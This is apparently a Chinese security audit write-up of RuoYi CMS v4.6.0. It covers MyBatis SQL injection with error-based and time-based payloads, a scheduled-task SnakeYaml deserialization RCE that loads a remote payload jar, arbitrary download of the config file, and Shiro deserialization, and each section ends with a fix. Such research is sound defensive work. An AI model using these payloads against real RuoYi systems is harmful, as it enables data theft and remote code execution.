# 环境介绍及搭建
操作系统:archLinux
数据库:mysql 5.7.44
JDK:8
Maven:3.0
因为是开源的 cms,而且官方还有对应的文档,这里可以翻阅一下文档
文档连接:https://doc.ruoyi.vip/ruoyi/
1、系统环境
- Java EE 8
- Servlet 3.0
- Apache Maven 3
2、主框架
- Spring Boot 2.2.x
- Spring Framework 5.2.x
- Apache Shiro 1.7
3、持久层
- Apache MyBatis 3.5.x
- Hibernate Validation 6.0.x
- Alibaba Druid 1.2.x
4、视图层
- Bootstrap 3.3.7
- Thymeleaf 3.0.x
上面集中服务的安装这里就不再赘述,查阅 arch-aur 即可,这里平台版本选择若依 v4.6.0,通过上面的下载连接将源码下载下来,若依的数据库文件。
这里将这个 ry_20201214.sql 文件给导入数据库中,首先创建一个数据库 ry。
create schema ry collate utf8_bin; |
这里编码方式选择 utf8,然后将若依中的数据库文件导入。
use ry; | |
exit; | |
mysql -uroot -proot ry < /home/clown/Project/RuoYi-v4.6.0/sql/ry_20201214.sql | |
mysql -uroot -proot ry < /home/clown/Project/RuoYi-v4.6.0/sql/quartz.sql |
然后检查以下是否成功导入。
这里可以看到已经导入成功了,这样将可以了。然后修改 i 配置文件 application-druid.yml。
根据本地的 mysql 服务修改数据库名和密码。
然后修改 application.yml 文件中的上传文件的上传路径,这里默认的是在 windows 环境下的,推荐的 linux 配置对于仅作测试来说有些繁琐,这里直接将路径写到当前路径下。顺带改一下端口,将默认的 80 改为 8081。
然后对日志存放的路径也做一下修改,同上。
到这里配置将完成了。
可以开始快 (痛) 乐 (苦) 的审计调试了。
# 后台 sql 注入漏洞审计(Mybatis)
# 审计思路
上面对整体的架构做了一个大致的分析,实际上与数据库交互的功能点就很明显了。但是由于若依使用的 Mybatis 框架实现预编译机制,在该机制下,很多的数据库操作都被封装好了,所以基本上不会存在 sql 注入的问题。但是也不是没有机会,在开发人员的安全意识不足时可能会使用 ${}
来代替 #{}
使用,下面介绍以下两种参数符号
#{}
使用预编译,通过 PreparedStatement 和占位符来实现,会把参数部分用一个占位符?
替代,而后注入的参数将不会再进行 SQL 编译,而是当作字符串处理。${}
表示使用拼接字符串,将接受到参数的内容不加任何修饰符拼接在 SQL 中。
很显然,二者的区别就是 ${}
是拼接,那么及很可能导致 sql 注入漏洞的产生。那么思路也及很简单,我们可以去 mapper.xml 文件查找 ${}
来找机会将我们的语句拼接到正常的 sql 语句中执行来达到 slq 注入攻击的目的
这里将 mapper 文件复制一份用 vscode 打开,然后检索一下那些地方使用的是 ${}
然后在你想找到调用的接口
这些地方都是可能存在 sql 注入的地方,这里找到对应的函数。一个好用的小插件 MyBatisX,找到对应的接口
# 代码分析
# SysRoleMapper
首先找这个只有一个 ${}
的 mapper 文件
根据 id 可以判断,这个查询是用来查询 role 列表的。通过这个 MyBatisx 工具来找到对应的接口
这里可以看到在该项目中有两次相关引用
这里看一下这个引用
一个分页查询的功能点,不过这个地方的相关引用有三个
首先看第一个相关引用。第一个引用
第二个相关引用,这里参数是传入的说明可用。第二个引用
也在同级这里,这里参数是传入的说明可用。第三个引用
这里查询全部,也就是参数不可控,所以这里不考虑。
# SysDeptMapper
看第一个文件 SysDeptMapper.xml 文件,这个文件有两个 ${}
的地方
先看这个 selectDeptList,也是一个查询的功能这里通过插件找到对应的接口
这里有四个相关引用
这里分别查看前面三个引用。第一关引用
到 server 层,这里有两个引用
查看这里的控制层的调用
这里的参数也是可控的。接着查看第二高 service 层的引用
这里接着看引用
在这个加载角色部门数据权限列表树这个地方可用看到将我们传入的不会直接带入,而是重新实例化了一个对象。然后 mapper 的第二个调用这里
这里是查询部门信息的地方,接着找 controller 层的调用
这里可用看到传入的信息是不可控的,所以这里也不考虑使用。然后找到第三个对 mapper 接口引用的地方
然后这里 service 的调用,这里是根据 deptid 来查询部门,所以这里也没有利用的可能,所以不考虑。然后该文件第二个使用 ${}
这里可以看到,这个地方的功能大概是更新部门状态的数据库操作,还是通过插件看到对应的接口
这里可用看到有两个引用,下面来看一下两个相关引用
这里直接看这个 service 层的引用
这里及只有一个引用,直接找到对应的 controller 层的引用
这里参数也是可控的,可用尝试
# 5.2.3 SysUserMapper
最后一个文件的第一个地方
这里通过 MyBatisX 插件来找到对应的 mapper 层接口
这里可用看到在 controller 层有两个调用了这个方法
第二个地方
和上面的角色管理相同,都是在一起的。然后在 xml 文件中的第二处
这个 sql 语句是为了查询未已配用户角色列表,对应的 mapper 层接口
这里也是两个相关引用,直接找到 service 层的引用
这里只有应该相关的引用,对应的 controller 层的调用
参数可用,存在 sql 注入可以尝试一下。最后一个 ${}
还是找到 mapper 的接口
引用的 service 层
同样是只有一个,直接到 controller 层
# 漏洞验证
# system/role/list
第一个漏洞点,这里是一个角色的查询的功能,对应的路由在 system/role/list。
根据 xml 文件我们需要控制的参数是这个 params.dataScope,我们传入的是一个 SysRole 类对象
在这个类对象中没有 dataScope 参数,这个 dataScope 参数是从 BaseEntity 继承来的
从 BaseEntity
中可以看到定义了一个 HashMap
可接收键值对,因此我们才能注入参数 params[dataScope]
在参数获取这里下断点进行调试,如下图所示
这里只需要看一个这一个参数能后控制即可,所以直接传入下面这个值来调试
这里可以看到,传入的参数被 HashMap 正常解析
这里会将报错直接回显到页面上,所以可以报错注入,payload
params[dataScope]=and+extractvalue(1,concat(0x7e,(select+version()),0x7e))
或者时间注入 payload:
¶ms[dataScope]=and if(substring((select user()),1,4)='root',sleep(5),1)
# system/role/export
漏洞成因同上,验证如下
# system/dept/list
漏洞成因同上,验证如下
# system/dept/edit
根据 xml 文件
这里可控的参数是 ancestors,括号闭合,还是报错注入
payload:
DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#
# system/user/list
根据 xml 文件,这里的可控参数是 dataScope
和前面的里有两个方式相同
# system/user/export
漏洞验证如下
# system/role/authUser/unallocatedList
# 漏洞修复
针对报错注入可以选择将错误回显关闭,对于时间注入可以选择增加黑白名单
在这个位置加上一个代码逻辑
方法具体代码如下
/** | |
* 拼接权限 sql 前先清空 params.dataScope 参数防止注入 | |
*/ | |
private void clearDataScope(final JoinPoint joinPoint) | |
{ | |
Object params = joinPoint.getArgs()[0]; | |
if (StringUtils.isNotNull(params) && params instanceof BaseEntity) | |
{ | |
BaseEntity baseEntity = (BaseEntity) params; | |
baseEntity.getParams().put(DATA_SCOPE, ""); | |
} | |
} |
@Before(“dataScopePointCut()”) 这行代码定义了一个前置处理,会在每个 dataScopePointCut
切点指向的方法执行前运行。然后这里会将这个 dataScope 值清空来防止 sql 注入
# 定时任务远程 RCE 漏洞(SnakeYaml 反序列化)
# 审计思路
探测功能过程中发现这个定时任务的功能这里可以调用 bean 或者 class 类
如果这里可以调用任意的类比如说 runtime,我们就能执行命令。
SnakeYaml 反序列化通常只要是引用了 SnakeYaml 包的项目都存在反序列化的问题,这里查看这个 pox 文件
发现这里存在 yml 解析器也可以尝试利用
# 代码分析
首先找到路由
调度的执行位置在这个 run 路由下,可以看到这里实际上是引用了 service 层的 jobService.run 方法
这里是一个接口,下面找到具体的实现方法
发现该方法只是将 job 参数进行了一些封装。然后就提交到了线程池异步执行。这里以调试模式启动,然后执行一次
将断点下载这个调用的方法这里,然后使得该方法调用一次
具体看一下
可以看到,该方法通过 sysJob.getInvokeTarget (); 获取调用目标字符串,也就是我们输入的内容。
然后通过 getBeanName (invokeTarget) 获取要调用的类全限定名。
通过 getMethodName (invokeTarget); 获取要调用的方法名。
通过 getMethodParams (invokeTarget); 获取参数。
接下来就通过反射来调用目标代码。到这里可以了解该漏洞就是可以调用任意类的任意方法,但是要注意调用目标类必须有一个无参构造函数,所以直接调用 Runtime 是不可行的。比较简单的利用方式可以通过 jndi 来执行任意代码,但是要注意 jndi 版本限制。
# 漏洞验证
下载 payload:https://github.com/artsploit/yaml-payload
然后修改 AwesomeScriptEngineFactory.java 文件
这里替换为具体要注入的命令,然后在 payload 项目跟目录创建一个 yml 文件
这里的地址是目标主机远程访问的地址
javac src/artsploit/AwesomeScriptEngineFactory.java | |
jar cvf yaml-payload.jar -C src/ . |
将 payload 项目打包为 jar 文件,然后将 jar 包放到目标主机可访问的主机上开启一个 http 服务
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]]]]')
然后进入若依后台,添加一个计划任务。
# 漏洞修复
将可用协议禁用,设置黑名单
# 任意文件下载漏洞
# 审计思路
这个地方可以下载文件,但是对文件路径有限制,前面整体功能点分析的点
如果这里可以调用类对配置做一些修改来达到任意文件下载的目的
# 代码分析
在这个判断位置开始调试
然后发包开始调试
这里通过 resource 获取到我们要下载的文件名,然后会向经过一次判断
然后在这里做了两个检查,一个是检查.. 来防止目录穿越,一个是检查后缀。
通过白名单的方式。这里向满足其条件来看后面的流程
这里就可以尝试一下了
这里可以看到,通过了前面的检测,然后获取本地资源路径。后面就是下载了,但是这里有三个问题,一个是后缀名白名单,一个是路径无法选择。
然后这里是可以调用任意内和方法的,看到上面获取本地资源的地方
这里不仅有 get 方法,还有 set 方法,所以路径可以通过任务来控制
# 漏洞验证
首先创建定时任务
ruoYiConfig.setProfile('/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml') |
然后直接访问
/common/download/resource?resource=.zip
然后及可以看到文件内容
# 漏洞修复
实际上还是定时任务的原因
限制定时任务的可用访问
# Shiro 反序列化
# 审计思路
若依这个 cms 中认证,授权,加密,以及用户的会话管理是通过 Shiro 来实现的。shiro 的反序列化漏洞距离利用只缺一个 key。但是我们可以通过前面文件下载的方式获取到 key
# 代码分析
Shiro 中获取 Remember 字段的方法 DefaultSecurityManager#getRememberedIdentity,这里下断点调试一下
删除 sessionid, 使得若依使用 Remember 来认证身份
然后这里将字节转换为主体
最后在这里做了一次反序列化
# 漏洞验证
# 漏洞修复
实际上还是定时任务的原因
限制定时人物的可用访问